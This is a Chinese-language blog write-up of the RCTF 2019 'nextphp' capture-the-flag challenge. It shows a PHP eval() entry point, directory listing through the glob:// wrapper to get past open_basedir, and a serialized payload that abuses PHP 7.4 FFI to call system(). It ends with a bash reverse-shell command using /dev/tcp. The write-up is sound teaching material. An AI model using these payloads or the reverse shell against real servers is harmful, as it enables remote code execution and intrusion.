RCTF | nextphp题解
前言
福大的一题ctf,学习一波
index.php
进入网页直接显示eval函数
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
查看phpinfo(),disable_functions
几乎禁用了所以可利用的函数
open_basedir控制访问路径
使用glob
协议读到文件
http://nextphp.2019.rctf.rois.io/?a=if ( $b = opendir("glob:///var/www/html/*php") ) {while ( ($file = readdir($b)) !== false ) {echo "filename:".$file."\n";}closedir($b);}
index.php preload.php
http://nextphp.2019.rctf.rois.io/?a=if ( $b = opendir("glob:///*") ) {while ( ($file = readdir($b)) !== false ) {echo "filename:".$file."\n";}closedir($b);}
/下存在flag文件
利用include+伪协议读取preload.php文件
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => '*',
'arg' => ''
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
是一个自定义序列化的类.通过通过文件名字preload.php
查找php7.4
预加载。
发现php7.4
可以利用php.ini
开启opcache
预加载。
搜索phpinfo
,发现preload.php
预加载
在末尾看到警示,若加载了ext/FFI
会造成危险。该题改期了ffi扩展。
查找FFI
扩展可利用点。利用该扩展会调用系统共享库。和0CTF LD_PRELOAD
系统劫持有异曲同工之妙。
FFI API
仅能适用于预加载文件,该题preload.php
恰好符合该条件。
FFI:cdef()
静态方法能够调用c函数。第二个参数调用的共享库可不写
Payload
根据run()方法创建的调用方式,FFI:cdef(“int system(const char *command);”)
被放置于data[‘ret’]
中。
nextphp.2019.rctf.rois.io/?a=var_dump(unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()[ret]->system("bash -c '/bin/bash -i >& /dev/tcp/ip/port 0>&1'"));
反弹shell得到Flag
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!